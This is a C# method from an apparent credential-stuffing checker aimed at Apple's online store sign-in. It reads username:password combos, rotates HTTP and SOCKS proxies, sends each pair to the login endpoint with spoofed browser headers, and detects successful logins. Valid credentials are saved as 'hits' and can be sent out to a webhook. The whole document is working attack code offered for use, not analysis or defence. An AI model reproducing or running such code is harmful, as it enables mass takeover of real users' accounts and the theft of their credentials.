public static void Check() { for (;;) { if (Program.Proxyindex > Program.Proxies.Count() - 2) { Program.Proxyindex = 0; } try { Interlocked.Increment(ref Program.Proxyindex); using (var req = new HttpRequest()) { if (Combosindex >= Combos.Count()) { Program.Stop++; break; } Interlocked.Increment(ref Combosindex); var array = Combos[Combosindex].Split(':', ';', '|'); var text = array[0] + ":" + array[1]; try { switch (Program.ProxyType1) { case "HTTP": req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS4": req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; case "SOCKS5": req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]); req.Proxy.ConnectTimeout = 5000; break; } var cookies = new CookieStorage(); var token = AppleGetToken(ref cookies); req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"; req.AddHeader("Content-Type", "application/x-www-form-urlencoded"); req.AddHeader("X-Requested-With", "XMLHttpRequest"); req.AddHeader("x-aos-model-page", "sentryLogin"); req.AddHeader("syntax", "graviton"); req.AddHeader("x-aos-stk", token); req.AddHeader("modelVersion", "v2"); req.AddHeader("Accept", "*/*"); req.AddHeader("Sec-Fetch-Site", "same-origin"); req.AddHeader("Sec-Fetch-Mode", "cors"); req.AddHeader("Sec-Fetch-Dest", "empty"); req.Referer = "https://secure4.store.apple.com/shop/sign_in?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ"; req.Cookies = cookies; var strResponse = req .Post( new Uri( "https://secure4.store.apple.com/shop/sentryx/sign_in_crd?c=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&r=SCDHYHP7CY4H9XK2H&s=aHR0cHM6Ly93d3cuYXBwbGUuY29tL3wxYW9zZTQyMmM4Y2NkMTc4NWJhN2U2ZDI2NWFmYWU3NWI4YTJhZGIyYzAwZQ&_a=customerLogin&_m=loginHome.customerLogin"), new BytesContent(Encoding.Default.GetBytes( $"loginHome.customerLogin.appleId={HttpUtility.UrlEncode(array[0])}&loginHome.customerLogin.password={array[1]}"))) .ToString(); if (strResponse.Contains( "{\"head\":{\"status\":302,\"data\":{\"url\":\"https://www.apple.com/\"}},\"body\":{}}") ) { Program.Hits++; Program.TotalChecks++; Export.AsResult("/Apple_hits", array[0] + ":" + array[1]); if (Program.lorc == "LOG") { Settings.PrintHit("Apple", array[0] + ":" + array[1]); } if (Settings.sendToWebhook) { Settings.sendTowebhook1(array[0] + ":" + array[1], "Apple Hits"); } } else if (strResponse.Contains("incorrect_appleid_password") || strResponse.Contains("Your account information was entered incorrectly.") || strResponse.Contains("reset_password_account_locked")) { Program.Fails++; Program.TotalChecks++; } else { Program.Fails++; Program.TotalChecks++; } } catch (Exception) { Program.Combos.Add(text); req.Dispose(); } } } catch { Interlocked.Increment(ref Program.Errors); } } }